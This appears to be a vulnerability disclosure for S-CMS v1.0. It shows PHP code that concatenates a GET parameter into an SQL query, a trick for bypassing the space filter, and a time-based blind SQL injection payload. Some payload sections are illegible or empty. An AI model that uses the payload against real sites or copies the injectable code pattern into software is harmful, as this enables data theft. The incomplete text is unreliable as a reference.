

master ▼

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 History

1 contributor

76 lines (58 sloc) | 2.94 KB

Vulnerability Name: S-CMS v1.0 SQLi Vulnerability Vulnerability finder: mntn@knowsec.com Product Home: <https://www.s-cms.cn/download.html> Software link: <https://cdn.shanling.top/file/4.edu.php.zip> Version: v 1.0

Error is in file: 4.edu.php\conn\function.php

Code:

```

case "form_addmenu":

$sql="select * from ".$TABLE.".menu where U_sub=0 order by U_order desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if(mysqli_num_rows($result) > 0) {
$U_order=$row["U_order"];
}

$sql="select * from ".$TABLE.".form where F_id=".$$_GET["F_id"];
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if(mysqli_num_rows($result) > 0) {
$F_title=$row["F_title"];
$F_entitle=$row["F_entitle"];
}

mysqli_query($conn,"insert into ".$TABLE.".menu(U_title,U_entitle,U_order,U_sub,U_ico,U_type,U_typeid) values('".$F_title."','".$F_entitle."')");
echo "success!";
lg("".$_GET["F_id"]."");
die();
break;

```

case: "form_addmenu" is composed of action and type, and is executed by switch...case. Because of the protection, spaces, -, * are replaced with _, so use parentheses to bypass the space filter.

Insert injection in 16 lines, the accepted parameters are passed in through REQUEST, and the select statement in line 9 is passed in by GET, so first use the Post method to pass the parameters, not to control the select statement, the resulting payload is As mentioned above.

Query data by time blind:

```
(select(if(length(database())=8,sleep(5),1)))#
```

payload:

[illegible]

The last closed SQL statement is as follows:

Of course, because it is REQUEST, there is no problem with GET (remember code#):